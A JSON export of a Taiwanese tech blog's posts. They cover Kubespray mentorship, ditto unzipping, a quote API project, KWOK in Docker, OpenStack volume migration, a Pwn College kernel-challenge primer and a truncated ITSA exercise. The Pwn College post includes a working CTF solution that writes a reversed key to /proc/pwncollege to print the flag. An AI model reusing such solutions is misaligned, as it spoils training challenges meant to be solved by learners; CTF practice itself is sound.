(yankay), the mentorship\u0026rsquo;s primary goal was to submit PRs, and the mentor could interact with the mentee through the PR process. As long as mid-term and final reports were submitted for CNCF review, the process was simple for me, given my prior experience.\nIn this project, I have contributed by adding new features (such as Gateway API installation), fixing CI issues (like CentOS 7 EOL), updating application versions (including OpenStack Cloud Controller Manager, Cert Manager, and Kubernetes), reviewing pull requests from other contributors, and answering questions from the community.\nFixing CI and CentOS 7 EOL issues # One of my toughest challenges was the CI testing and CentOS 7 EOL issue. At that time, ant31 was restructuring CI logic and forgot to cherry-pick other branches. Also, the CentOS 7 tests needed to be removed due to its EOL. The CI restructuring PR needed to be cherry-picked, or CentOS 7 would cause the test to fail. Without a successful check, even if project maintainers gave lgtm and approve, the k8s-ci-robot wouldn\u0026rsquo;t merge the PR.\nIt might sound complicated, but here\u0026rsquo;s a meme I made to simplify the situation:\nThanks to ant31 \u0026rsquo;s advice, I was able to fix the CentOS 7 CI (PR #11360), enabling successful cherry-picking without CentOS 7 failures. This allowed the release-2.24 and release-2.25 branches to be updated.\nAssisting maintainers in debugging application issues # PR #11250 was a simple update to Node Feature Discovery (NFD), including updating CRD and ClusterRole. However, CI tests failed, so I began investigating the cause.\nUsing Vagrant to run Kubespray\u0026rsquo;s installation process, I observed the NFD deployment and found that the Liveness Probe failed due to the absence of /usr/bin/grpc_health_probe. After checking NFD\u0026rsquo;s installation details, I discovered that they had switched to K8s\u0026rsquo; built-in gRPC checks.\nAfter maintainers mzaian made the necessary changes, the CI tests passed, which gave me great accomplishment!\nInvited to become a Kubespray reviewer # By the end of week 9 (8/16), after reviewing numerous PRs, my mentor formally invited me to become a reviewer.\nI gladly accepted this role (PR #11453), and I continue reviewing contributions from others!\nInternship reflections # Participating in the LFX Mentorship program has provided me with invaluable growth opportunities. First and foremost, I would like to thank my mentors, Kay Yan (yankay) and Mohamed Zaian (mzaian), as well as other maintainers like Antoine Legrand (ant31), for giving me the freedom to explore my ideas and for offering guidance on how to fix the CI of different branches at the right moments. Collaborating with such experts in the open-source community has been a great honor. In addition to gaining hands-on experience, I have broadened my technical horizons and feel confident about my future career plans. Although this Mentorship has ended, my contributions will not stop here. I will continue to dedicate my efforts to maintaining Kubespray in the future.\n","date":"9 September 2024","externalUrl":null,"permalink":"/en/posts/lfx-mentorship-kubespray/","section":"Posts","summary":"I quickly searched on Google for LFX Mentorship-related posts, and it seems no one from Taiwan has written an internship reflection yet. I’ll be the first to lead the way and write the first one!\n","title":"LFX Mentorship - Kubespray mentee reflection - From user to contributor to reviewer","type":"posts"},{"content":"","date":"2023/08/13","externalUrl":null,"permalink":"/tags/ditto/","section":"Tags","summary":"","title":"Ditto","type":"tags"},{"content":"","date":"2023/08/13","externalUrl":null,"permalink":"/tags/google-drive/","section":"Tags","summary":"","title":"Google Drive","type":"tags"},{"content":"","date":"2023/08/13","externalUrl":null,"permalink":"/tags/macos/","section":"Tags","summary":"","title":"Macos","type":"tags"},{"content":"Google Drive 如果你有很多檔案要下載，它會壓縮成 .zip 檔案，檔案大小較大，又會分成多個 .zip。\n他的壓縮方式也不是典型 zip 的分割檔，而是可以獨立解壓縮，如果用 Finder 合併也會有資料夾被取代的問題。\n這篇教學將會教大家輕鬆解壓縮不會遇到合併問題。（這篇會需要用到「終端機」，目前現在位置有你想要解壓縮的資料。）\n步驟 # 如果要合併的話也很簡單，先建立一個資料夾名為 combined：\nmkdir combined Unzip # 可以使用 unzip 解壓縮到指定的資料夾\nunzip drive-download-20230812T155524Z-001.zip -d combined 這樣確實解壓縮了，但是這樣一次只有一個檔案，如果我有很多檔案怎麼辦？\n這時候需要 for 指令，尋找指定的 pattern，把後面的數字（E.g. 001）變成 *，像這樣：\nfor archive in drive-download-20230812T155524Z-*.zip do unzip \u0026#34;$archive\u0026#34; -d combined done 通常沒什麼問題就會解壓縮成功，但如果路徑有遇到其他字元（E.g. 日文字），就會遇到 Illegal byte sequence 問題：\ncheckdir error: cannot create combined/09. MURASAKi/SUSHI?? feat.+ Illegal byte sequence unable to process 09. MURASAKi/SUSHI?? feat.+/pv.mp4. 像這個問題就必須使用 ditto 指令來解壓縮。\nDitto # Ditto 是 macOS 的內建命令，說真的筆者在找的時候也沒有找到很多關於介紹它的指令，但根據說明它可以合併檔案，還同時可以壓縮和解壓縮。\n如果要解壓縮可以這樣使用：\nditto -V -x -k --sequesterRsrc drive-download-20230812T155524Z-001.zip combined 結合剛剛前面所學的 for 指令，就可以組合這樣的指令出來：\nfor archive in drive-download-20230812T155524Z-*.zip do ditto -V -x -k --sequesterRsrc \u0026#34;$archive\u0026#34; combined done 到這裡就沒有遇到其他問題，確認檔案也是完整。\n後記 # 其實我也第一次遇到 macOS 神奇的內建命令，功能似乎除了合併資料夾內的檔案以外，-x 會使用 CPIO 格式解壓縮，-k 則會把前者 CPIO 取代為 ZIP 格式。\n目前大概研究到這邊，詳細可以看 man ditto 說明。\n","date":"2023/08/13","externalUrl":null,"permalink":"/posts/google-drive-download-part-migrate/","section":"Posts","summary":"Google Drive 如果你有很多檔案要下載，它會壓縮成 .zip 檔案，檔案大小較大，又會分成多個 .zip。\n他的壓縮方式也不是典型 zip 的分割檔，而是可以獨立解壓縮，如果用 Finder 合併也會有資料夾被取代的問題。\n","title":"macOS 合併 Google Drive 壓縮下載","type":"posts"},{"content":"","date":"2023/08/13","externalUrl":null,"permalink":"/tags/unzip/","section":"Tags","summary":"","title":"Unzip","type":"tags"},{"content":"","date":"2023/05/13","externalUrl":null,"permalink":"/tags/elegant-tw/","section":"Tags","summary":"","title":"Elegant Tw","type":"tags"},{"content":"","date":"2023/05/13","externalUrl":null,"permalink":"/tags/golang/","section":"Tags","summary":"","title":"Golang","type":"tags"},{"content":"","date":"2023/05/13","externalUrl":null,"permalink":"/tags/hitokoto/","section":"Tags","summary":"","title":"Hitokoto","type":"tags"},{"content":"","date":"2023/05/13","externalUrl":null,"permalink":"/tags/next.js/","section":"Tags","summary":"","title":"Next.js","type":"tags"},{"content":"","date":"2023/05/13","externalUrl":null,"permalink":"/tags/side-project/","section":"Tags","summary":"","title":"Side Project","type":"tags"},{"content":"前幾天我的 side project —— 言雅 Elegant TW，開發版本 v0.2.0 正式公開程式碼了，順便來簡介一下這個專案緣起、現況、未來目標。\n專案緣起 # 多年前架設 Online Judge 的時候，當時使用 SYZOJ 相關程式去建置，花了大費功夫把前端繁體翻譯跟後端裁判機串接起來，閒暇之餘有發現首頁的右上角寫著「Hitokoto (ヒトコト)」，中文叫做「一言」，隨機產生幾個句子，刷到幾句讓人會心一笑。\n直到最近我 Discord 周遭朋友撰寫 Bot，收藏了很多自己收集的一些語錄（毒雞湯居多）。我也無意間想起「一言」專案，稍微查詢一下，繁體中文圈目前沒有人做這部分，再加上自己稍微有點時間（其實還是沒有），來寫 side project 的 API 專案，順手練習 Golang 跟 Clean Architecture 架構。\n為何不直接使用「一言」專案的框架？根據他們文件敘述，v2 版本 Golang 正在實作，而且只會釋出過往版本的程式碼，並不會包含現行版本（如果過往版本有漏洞沒有修改，伺服器被攻擊的可能性也會越高），再加上「一言」語錄資料都是採用 JSON 格式，我認為大部分內容是可以用結構化資料庫去儲存。\n如果未來最後想要部署在 K8s 上，與其沿用別人的架構修改，不如自己設計直接相容雲原生架構，這樣就不會有這問題。\n簡單來說，我有自己想實現的架構，種種原因之下，自己實作還是比較快。 名稱發想 # 2023/03/11 就開始在自己 Discord 群組徵求專案名稱，借助網友們的想像力。當時柯希跟我隨口一句「言之隨機，雅之名篇。」這句話剛好打中整個專案的核心，取短句的開頭，「言雅」這名字就誕生了！\n英文名字相對來說比較簡單，就是「優雅」的英文 —— elegant。《SPY×FAMILY》當中入學考試的舍監，總是把「elegant」掛在嘴邊，代表這詞不難記憶，至於後面的 TW 我也覺得不用多做解釋，於是「Elegant TW」成為專案的英文名字。\n建立初始語錄資料庫 # 語錄資料庫沒有從「一言」網站那裡參考，雖然他們是採用 AGPL 授權，但為了保留繁體中文這項特色，可以算是重新收集。動漫的部分皆採用官方翻譯或代理商的繁體中文（像《輝夜姬想讓人告白》動畫台詞部分，翻譯採用就會以「木棉花」為準。），也加入台灣影視劇的語錄，尤其近幾年台劇精彩程度相信大部分人都有目共睹，這種印象深刻的句子需要被保留下來。\n初始語錄資料庫感謝 Niehyi、柯希、啃雞、皮皮、Koying 的幫忙，靠眾人協助以及自己佛系收集，一個月內以「手動加入」方式累積 100 句。\n專案現況 # 專案連結：https://elegant.tw API 串接文件：https://docs.elegant.tw GitHub Organization：https://github.com/elegant-tw\n到 v0.2.0 為止，加入毒雞湯功能，可以設定某些類別的語錄預設不顯示，全部語錄有 100 句，其中正常語錄有 78 句，毒雞湯語錄有 22 句。\n主機贊助 - CNTUG Infra Labs # 去年在 Ted 協助下認識雲原生台灣社群 CNTUG，今年以 Open Source 的名義與 CNTUG Infra Labs 開啟長期合作，在此感謝雲原生台灣社群支持專案。\nCOSCUP 2023 Kubernetes Community Day 台灣議程軌 🇹🇼 正在徵稿，到 2023/05/22 截止，詳請請上 COSCUP x KCD 議程敘述。 專案 Logo # 這是個蠻大的問題，專案目前沒有 Logo。產品寫出來了但沒有 Logo 真的很奇怪吧！\n專業的 Logo 設計要花錢，想要盡量以最少成本來做最高質感，目前請我親戚跟朋友做「無償」的構思設計（畢竟是無償，基本上不會去催案，就是佛系設計。），如果有想法也歡迎找我討論。\n「設計」這件事我真的很不在行，這也牽扯到後續一些問題 —— 前端設計，這可以說是我耗時最多的部分。\n未來規劃 # 專案啟動之後其實有不少事情要完成，但只有我一個人自己根本忙不過來，先把規劃藍圖打在這裡。\n徵求長期貢獻者 # 這裡是想徵求長期貢獻者，前端或後端工程師都可以，這部分我細講兩個部分：\n後端 # 後端使用 Golang + Clean Architecture 架構，理想上想要相容其他資料庫（E.g. MySQL, MariaDB 等），想要看看能不能朝 ORM 前進，未來加入使用者功能會比較輕鬆，如果你是新手想要靠專案來練習或是大師想要幫忙改善架構，歡迎直接 Email 詢問。\n前端 # 前端對我來說是最惱人的部分，只有先建構 Next.js + Typescript，UI 框架使用 Chakra UI，目前只有語錄的顯示，但光搞一個 RWD 排版就花掉我 3 個工作天，未來想要加入使用者還有審核語錄的功能，又要花掉更多時間了 @@。\n如果有心想要研究看看怎麼跟後端串接，歡迎直接 Email 詢問。\n新增語錄功能 \u0026amp; 使用者功能 # 正如前面所述，現在方式是「手動新增」，也就是直接修改資料庫。正常流程應該要是「使用者投稿」→「審核人員處理」→「加入語錄資料庫」。\n要有新增語錄功能，就必須要有使用者，為了使用者方便登入估計也會串上 OAuth，紀錄句子哪一位使用者認證，牽扯範圍廣泛，估計這實作完成也要跳大版本號碼。\nApp 開發 # 以 iOS 來說，主要是想玩 Sign in with Apple 的功能，App Store 可以上架小工具，需要付年費 99 美金。雖然自己負擔得起，但主要原因是如果沒有時間實作，花這筆錢也是浪費，至少等前面功能完成再來看看要不要上 App。\n結論 # 這次有 CNTUG Infra Labs 計劃跟專案動機，終於有機會來實現，依照我現在時程大概只能緩慢更新，畢竟目前到收集的語錄還不算太多，以佛系做小眾宣傳形式推廣。\n至於討論群組的部分，目前還在規劃中，之前很多討論都在我自己個人 Discord 群組進行，如果有要遷移到外部伺服器的打算，我第一時間會公告在網站上。\n感謝各位看到這裡，喜歡的話幫我按下追蹤 RSS 訂閱！\n","date":"2023/05/13","externalUrl":null,"permalink":"/posts/elegant-tw-i/","section":"Posts","summary":"前幾天我的 side project —— 言雅 Elegant TW，開發版本 v0.2.0 正式公開程式碼了，順便來簡介一下這個專案緣起、現況、未來目標。\n","title":"言雅 Elegant TW 開發日記 (I)","type":"posts"},{"content":"","date":"2023/03/11","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"2023/03/11","externalUrl":null,"permalink":"/tags/kwok/","section":"Tags","summary":"","title":"Kwok","type":"tags"},{"content":"Kubernetes SIGs（Special Interest Group 特別興趣小組）前陣子發布了很有趣的 K8s 模擬器 —— KWOK：Kubernetes WithOut Kubelet。\nKWOK 的應用情境，開發者想要在幾秒鐘內建立一個由數千個節點組成的 Kubernetes，且模擬具有低資源佔用的真實節點，並且在不花費太多基礎設施的情況下大規模測試的 Kubernetes 控制器。\n讓我們現在來體驗 KWOK 工具的安裝 \u0026amp; 模擬吧！\nDemo 環境 # 本次實驗使用 CNTUG Infra Labs 的主機，有興趣的朋友可以直接到 CNTUG Infra Labs 說明文件 首頁點擊「申請 Infra Labs」。\nOS: Ubuntu 22.04 Docker Engine: 23.0.1 KWOK: Docker - All in one image - cluster:v1.26.0 K8s simulate version: v1.26.0 kubectl version: v1.26.0 前置作業 # 安裝 Docker # 根據 Docker 官方安裝教學：\ncurl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh 安裝完後就可以直接使用了，但如果不想前面一直打 sudo，就加入以下命令。\nsudo usermod -aG docker $USER 最後再 logout 重新登入就可以了。\n安裝 kubectl # kubectl 是一個命令列工具，用於操作 Kubernetes 集群，使用下列步驟安裝 kubectl 。\ncurl -LO https://dl.k8s.io/release/v1.26.0/bin/linux/amd64/kubectl curl -LO https://dl.k8s.io/v1.26.0/bin/linux/amd64/kubectl.sha256 echo \u0026#34;$(cat kubectl.sha256) kubectl\u0026#34; | sha256sum --check # If check success, install it. sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl # Remove install files. rm kubectl* 使用 kubectl 指令測試版本，確認 kubectl 安裝成功。\nkubectl version 啟動 KWOK # docker run --rm -it -d -p 8080:8080 registry.k8s.io/kwok/cluster:v1.26.0 用 docker ps -a 確認服務是不是有啟動成功\n確認沒問題後就可以依照官方教學開始實驗模擬。\n實驗模擬 # 建立完成後，就可以用 kubectl 查看資源。\nkubectl get node -o wide kubectl get pod -A kubectl get svc -A 但目前裡面是沒有任何內容，為了要模擬 K8s 狀況，要先加入新節點。\nKWOK 新增節點 # 輸入以下命令就可以新增節點。（註：這裡是根據 KWOK 官網加入節點的教學，實際上 K8s 不會這樣新增節點，特此注意。）\nkubectl apply -f - \u0026lt;\u0026lt;EOF apiVersion: v1 kind: Node metadata: annotations: node.alpha.kubernetes.io/ttl: \u0026#34;0\u0026#34; kwok.x-k8s.io/node: fake labels: beta.kubernetes.io/arch: amd64 beta.kubernetes.io/os: linux kubernetes.io/arch: amd64 kubernetes.io/hostname: kwok-node-0 kubernetes.io/os: linux kubernetes.io/role: agent node-role.kubernetes.io/agent: \u0026#34;\u0026#34; type: kwok name: kwok-node-0 spec: taints: # Avoid scheduling actual running pods to fake Node - effect: NoSchedule key: kwok.x-k8s.io/node value: fake status: allocatable: cpu: 32 memory: 256Gi pods: 110 capacity: cpu: 32 memory: 256Gi pods: 110 nodeInfo: architecture: amd64 bootID: \u0026#34;\u0026#34; containerRuntimeVersion: \u0026#34;\u0026#34; kernelVersion: \u0026#34;\u0026#34; kubeProxyVersion: fake kubeletVersion: fake machineID: \u0026#34;\u0026#34; operatingSystem: linux osImage: \u0026#34;\u0026#34; systemUUID: \u0026#34;\u0026#34; phase: Running EOF 新增後會顯示 node/kwok-node-0 created。\n確認 Node 有進入 Ready。\nkubectl get node -o wide 新增 Deployment # 這裡我們來嘗試加入一些 Pod 到 KWOK 裡面。\nkubectl apply -f - \u0026lt;\u0026lt;EOF apiVersion: apps/v1 kind: Deployment metadata: name: fake-pod namespace: default spec: replicas: 10 selector: matchLabels: app: fake-pod template: metadata: labels: app: fake-pod spec: affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: type operator: In values: - kwok # A taints was added to an automatically created Node. # You can remove taints of Node or add this tolerations. tolerations: - key: \u0026#34;kwok.x-k8s.io/node\u0026#34; operator: \u0026#34;Exists\u0026#34; effect: \u0026#34;NoSchedule\u0026#34; containers: - name: fake-container image: fake-image EOF Deployment 建立成功後，會顯示下列輸出: deployment.apps/fake-pod created\n建立完成後，列出 Deployment、ReplicaSet 和所有 Pod。\nkubectl get deployment kubectl get replicaset kubectl get pod 看起來沒問題，連 ReplicaSet 都可以模擬呢！\n也可以試著 describe deployment。\nkubectl describe deploy fake-pod describe 出來的內容很實際呢，下一段來編輯看看 Deployment。\n編輯 Deployment # 模擬工具可以模仿多個 Pod 做 scale up 情況，那我們就來嘗試看看！\nkubectl edit deploy fake-pod 就把 .spec.replicas 調到 120 個看看。\n編輯完成後退出，成功就會顯示 deployment.apps/fake-pod edited，來看看有沒有產生成功。\nkubectl get deployment kubectl get replicaset 這裡顯示為 110 個 READY，就代表是沒有問題的，因為單節點 Pod 數量建議上限為 110 個。\n如果回去看前面建立節點的步驟，.status.allocatable.pods 也是寫上 110。\n也可以搭配 grep 看一下 Pending 的 Pod。\nkubectl get pod | grep Pending 刪除 Deployment # kubectl delete deployment fake-pod kubectl get pod -A 停止 KWOK # 最後就把 KWOK 的 container 停止就好。\ndocker ps -a docker stop \u0026lt;CONTAINER ID\u0026gt; 總結 # 目前這樣初步玩下來覺得 KWOK 是還蠻不錯的模擬器，這樣測下來結果該有的都有，這工具個人覺得蠻適合剛入門 K8s 的人，或者想測試一些多節點的特殊玩法，不用怕測失敗把整個環境搞爛花時間重建，如果想要模擬上千節點情況也不需要昂貴的硬體設備。\n真要說唯一缺點的話，CrashLoopBackOff 是不會出現的，沒辦法讓新手體驗地獄，真的有點可惜，但畢竟是 K8s WithOut Kubelet，背後是不會跑真正的 container，沒有辦法模擬出也是很正常的。\n致謝 # 本篇感謝 CNTUG 的 Infra Labs 提供使用還有 Ader Fu 協助潤稿、校對，同步發佈在 CNTUG Infra Labs 說明文件。\n喜歡這篇文章可以幫我按個 LIKE 跟訂閱 RSS 追蹤，那就下篇文章見！\n","date":"2023/03/11","externalUrl":null,"permalink":"/posts/kwok-in-docker/","section":"Posts","summary":"Kubernetes SIGs（Special Interest Group 特別興趣小組）前陣子發布了很有趣的 K8s 模擬器 —— KWOK：Kubernetes WithOut Kubelet。\n","title":"KWOK in Docker - 體驗上千節點的 K8s 工具","type":"posts"},{"content":"本篇大綱 # 本篇僅會出現在此 Blog，因為碰到 Volume Type __DEFAULT__ 有某些原因被管理員宣告 Retired，因此做了遷移相關紀錄。\n題外話 # 文章開始之前先岔題一下，我的《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》系列文章被 iThome 評審團隊選為佳作，特此感謝評審的青睞，謝謝 Cloud Native Taiwan User Group 給予的 Infra Labs 還有郭靖前輩的協助，讓我可以把這文章順利寫完。\n自己正在做生涯蠻大的規劃，預計要到年中才會公布，就敬請期待啦！\n內文 # 前幾天收到郭靖前輩的訊息，之前的預設 Volume type 是 __DEFAULT__，因為要把 __DEFAULT__ 給 retired，想要 Migrate 過去到 SATA_SSD。\n具體有兩種做法：\n用 CSI volume cloning 複製 PVC 然後切換過去，目前預設新建的 Volume type 應該都是 SATA_SSD。 Detach 該 volume 然後用 Cinder 換成新的 Volume type。 最近鐵人賽的結果出爐，可以把該資源釋放來做其他事情了，但也剛好接到這樣遷移需求，因此裡面的服務也充當了這次的實驗白老鼠。\n服務與架構介紹 # Kubernetes cluster 由 k8s-m0, k8s-n0, k8s-n1 組合而成，也就是一個 Master node 和兩個 Worker node 組合，裡面安裝了 Prometheus, Grafana, Loki, GitLab。\n其中，使用到 PersistentVolume 的服務有\nPrometheus GitLab Gitaly PostgreSQL MinIO Redis Loki (理論上也需要，但鐵人賽期間我忘記要幫它用 PersistentVolume，所以它現在用的是 EmptyDir。) 轉換 Volume type # 因為要把硬碟 detach，為了避免服務直接損壞，這裡會先把節點關機後再做 detach，最後再更換 Volume type。\n除了要關機的節點以外，把每個 Node 都做 Cordon。 這裡我會先把每個節點都做 Cordon，所有 Pod 都會待在原地不移動到其他的 Node 上。\nkubectl cordon k8s-m0 # 如果 k8s-m0 要關機就不要打這行 kubectl cordon k8s-n0 # 如果 k8s-n0 要關機就不要打這行 kubectl cordon k8s-n1 # 如果 k8s-n1 要關機就不要打這行 把該節點關機。 ubuntu@bastion-host:~$ ssh ubuntu@k8s-n0 ubuntu@k8s-n0:~$ sudo shutdown -h 0 ubuntu@bastion-host:~$ 把該節點上的硬碟 detach 選硬碟 \u0026gt; Manage Attachments\n點選 Detach Volume。\n更換 Volume Type 選硬碟 \u0026gt; Change Volume Type\nType: SATA_SSD Migration Policy: On Demand 點選 Change Volume Type。\n等待轉換\n轉換完成後，重新 attach 到該節點上。\n重新開機該節點\n把每個 Node 都做 Uncordon\nkubectl uncordon k8s-m0 kubectl uncordon k8s-n0 kubectl uncordon k8s-n1 小插曲 - Application Credentials # 這次在更換時還出現小插曲，因為我之前專案分很多隻帳號，實驗帳號有掛 Application Credentials，整合後 Application Credentials 沒有一起合併，因此還出現 CSI 全部直接 Crash。\nubuntu@bastion-host:~/k8s/cinder-csi$ kubectl logs -n kube-system openstack-cinder-csi-nodeplugin-dhvbx cinder-csi-plugin I1222 11:32:21.780001 1 driver.go:75] Driver: cinder.csi.openstack.org I1222 11:32:21.780073 1 driver.go:76] Driver version: 2.0.0@ I1222 11:32:21.780080 1 driver.go:77] CSI Spec version: 1.3.0 I1222 11:32:21.780113 1 driver.go:107] Enabling controller service capability: LIST_VOLUMES I1222 11:32:21.780122 1 driver.go:107] Enabling controller service capability: CREATE_DELETE_VOLUME I1222 11:32:21.780128 1 driver.go:107] Enabling controller service capability: PUBLISH_UNPUBLISH_VOLUME I1222 11:32:21.780136 1 driver.go:107] Enabling controller service capability: CREATE_DELETE_SNAPSHOT I1222 11:32:21.780141 1 driver.go:107] Enabling controller service capability: LIST_SNAPSHOTS I1222 11:32:21.780148 1 driver.go:107] Enabling controller service capability: EXPAND_VOLUME I1222 11:32:21.780155 1 driver.go:107] Enabling controller service capability: CLONE_VOLUME I1222 11:32:21.780161 1 driver.go:107] Enabling controller service capability: LIST_VOLUMES_PUBLISHED_NODES I1222 11:32:21.783368 1 driver.go:107] Enabling controller service capability: GET_VOLUME I1222 11:32:21.783405 1 driver.go:119] Enabling volume access mode: SINGLE_NODE_WRITER I1222 11:32:21.783413 1 driver.go:129] Enabling node service capability: STAGE_UNSTAGE_VOLUME I1222 11:32:21.783420 1 driver.go:129] Enabling node service capability: EXPAND_VOLUME I1222 11:32:21.783424 1 driver.go:129] Enabling node service capability: GET_VOLUME_STATS I1222 11:32:21.783468 1 openstack.go:137] InitOpenStackProvider configFiles: [/etc/kubernetes/cloud.conf] I1222 11:32:21.794251 1 openstack.go:90] Block storage opts: {0 false false} W1222 11:32:21.930439 1 main.go:100] Failed to GetOpenStackProvider: Resource not found: [POST https://openstack.cloudnative.tw:5000/v3/auth/tokens], error message: {\u0026#34;error\u0026#34;:{\u0026#34;code\u0026#34;:404,\u0026#34;message\u0026#34;:\u0026#34;Could not find Application Credential: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.\u0026#34;,\u0026#34;title\u0026#34;:\u0026#34;Not Found\u0026#34;}} 這時候照我的 {% post_link it2022-day23 Day 23 Cinder CSI Plugin %} 重新設定 OpenStack Application Credentials 即可。\nZero downtime 的可能性 # 這裡我有跟郭靖前輩小小請教，Change Volume Type 的 Zero downtime 可能性，但有點可惜的是服務都是 Stateful 而非 Stateless，要做 Zero downtime 本來就很麻煩。\n後記 # 雖然系列文結束了，但我還會不定時推出番外篇做更新，針對 Infra Labs 相關內容做調整。\n下篇文章應該會來寫寫心得，有興趣可以按下 RSS 追蹤，那就下一篇文章見！\n","date":"2023/02/16","externalUrl":null,"permalink":"/posts/it2022-day31/","section":"Posts","summary":"本篇大綱 # 本篇僅會出現在此 Blog，因為碰到 Volume Type __DEFAULT__ 有某些原因被管理員宣告 Retired，因此做了遷移相關紀錄。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 31 番外篇 - Openstack K8s CSI Migration - Change Volume Type","type":"posts"},{"content":"","date":"2023/02/16","externalUrl":null,"permalink":"/tags/14th-%E9%90%B5%E4%BA%BA%E8%B3%BD/","section":"Tags","summary":"","title":"14th 鐵人賽","type":"tags"},{"content":"","date":"2023/02/16","externalUrl":null,"permalink":"/tags/cinder-csi/","section":"Tags","summary":"","title":"Cinder Csi","type":"tags"},{"content":"","date":"2023/02/16","externalUrl":null,"permalink":"/series/ithome-%E9%90%B5%E4%BA%BA%E8%B3%BD-2022-%E9%97%9C%E6%96%BC%E6%88%91%E6%80%8E%E9%BA%BC%E6%8A%8A%E4%B8%80%E5%B9%B4%E5%85%A7%E5%AD%B8%E5%88%B0%E7%9A%84%E6%96%B0%E6%89%8B-it/sre-%E6%BF%83%E7%B8%AE%E5%88%B0-30-%E5%A4%A9%E7%AD%86%E8%A8%98%E9%80%99%E6%AA%94%E4%BA%8B/","section":"Series","summary":"","title":"IThome 鐵人賽 2022 ——《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》","type":"series"},{"content":"","date":"2023/02/16","externalUrl":null,"permalink":"/tags/openstack/","section":"Tags","summary":"","title":"Openstack","type":"tags"},{"content":"","date":"2022/11/20","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"","date":"2022/11/20","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"Kernel","type":"tags"},{"content":"","date":"2022/11/20","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"Pwn","type":"tags"},{"content":"點開這篇文章，相信你一定知道 Pwn College 知道那是 CTF 學習平台。\n其中有個類別是 Baby Kernel 的分類，網路上的入門資料有點少，官方文件沒有寫太多怎麼打開，今天這篇要來教大家怎麼入門 Baby Kernel。\n觀察 # 如果你做過其他題目，會知道題目會放在 /challenge 這個資料夾。\n用 Radare2 或 IDA 去 Reverse 就會知道他有一些字串要寫入到 /proc/pwncollege。\n（附圖需要晚點）\n寫入之後會判斷字串是否會有他要的密碼，如果是就會輸出 flag。\n（附圖需要晚點）\n然後就可以寫出這樣的 Code。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { char buffer[100]; int fd = open(\u0026#34;/proc/pwncollege\u0026#34;, O_RDWR); char key[] = \u0026#34;glgwhnyvrpljqoyk\u0026#34;; // Find key in here write(fd, key, sizeof(key)); // Write in /proc/pwncollege file read(fd, buffer, 100); // Read flag from /proc/pwncollege printf(\u0026#34;%s\\n\u0026#34;, buffer); // Print flag in stdout close(fd); return 0; } 編譯完執行以後，就會發現，好像什麼都沒有？\n解決方式 # 官網的首頁有提到：\nFor some of the later (kernel-focused) challenges, you will need to solve the challenge in a virtual machine. You can interact with the virtual machine using the vm command.\n意思是說，如果是 Kernel 的 Challenge，你會需要使用他們的虛擬機器，可以用 vm 這個命令跟虛擬機器互動。\n那我們用 vm -h 看看相關命令：\n從說明裡面大概知道，需要先打開機器，並且連線到裡面：\nvm start vm connect 這時候就會發現 Hostname 多了 vm_ 前綴字，就代表連線進去了。\n這時候再執行剛剛寫好的程式：\n這樣就可以囉！\n連線時直接進入 VM # 我翻找過程當中，官方 Pwn College 的 Discord Server 有人就寫了很方便的 Script 可以判斷 Kernel 題目，直接連線時進入 VM，加入在 .bashrc 後面即可。\nThis solution by hkreie#6442\nko=$(/bin/ls /challenge/*.ko) if [[ $ko != \u0026#34;\u0026#34; \u0026amp;\u0026amp; $HOSTNAME != *\u0026#34;vm\u0026#34;* ]] ; then echo -n \u0026#34;This looks like a kernel level. Start vm? [y/n]: \u0026#34; read start_vm if [[ $start_vm == \u0026#34;y\u0026#34; ]] ; then echo \u0026#34;Staring and connecting to vm...\u0026#34; vm start ; sleep 2 ; vm connect fi fi 示意圖如下：\n只要在詢問時按下 y 就會直接連線到虛擬機器上。\n後記 # 之後有空也會寫寫 Pwn College 的相關內容，簡單教學到這裡，希望對大家有幫助，那我們就下篇文章見！\n","date":"2022/11/20","externalUrl":null,"permalink":"/posts/pwn-college-baby-kernel-starter/","section":"Posts","summary":"點開這篇文章，相信你一定知道 Pwn College 知道那是 CTF 學習平台。\n其中有個類別是 Baby Kernel 的分類，網路上的入門資料有點少，官方文件沒有寫太多怎麼打開，今天這篇要來教大家怎麼入門 Baby Kernel。\n","title":"Pwn College - Baby Kernel 解題入門教學","type":"posts"},{"content":"","date":"2022/11/20","externalUrl":null,"permalink":"/tags/starter/","section":"Tags","summary":"","title":"Starter","type":"tags"},{"content":"題目 Problem # 題目連結：https://etutor2.itsa.org.tw/mod/topics/view.php?id=15902\n敘述 Description # 現有一可顯示四位數字的 LED 燈一組，可根據輸入的四位數字顯示數字。比如說，\n由鍵盤輸入 1234 ，則可在螢幕上顯示\n若輸入 0789 ，則顯示\n輸入 Input # 輸入格式為四個整數。\n輸出 Output # 輸出值為輸入值的矩陣數字。\n範例輸入 Sample Input # 0789 範例輸出 Sample Output # ***** ***** ***** ***** * * * * * * * * * * ***** ***** * * * * * * ***** * ***** * 提示 Hint # 題解 Solution # 如果題目直接輸入整數，會把前導 0 給省略，因此使用字串輸入。\n輸出會是由上到下執行，所以要先印出每一個數字的第一行，再印出每一個數字的第二行，以此類推。\n可以用字元陣列建立要顯示的 LED 燈，最後直接對應每個數字輸出該字串即可。\n程式碼 Accepted Code # #include \u0026lt;stdio.h\u0026gt; char display[5][10][6] = { {\u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;* *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;}, {\u0026#34;* *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34; *\u0026#34;, 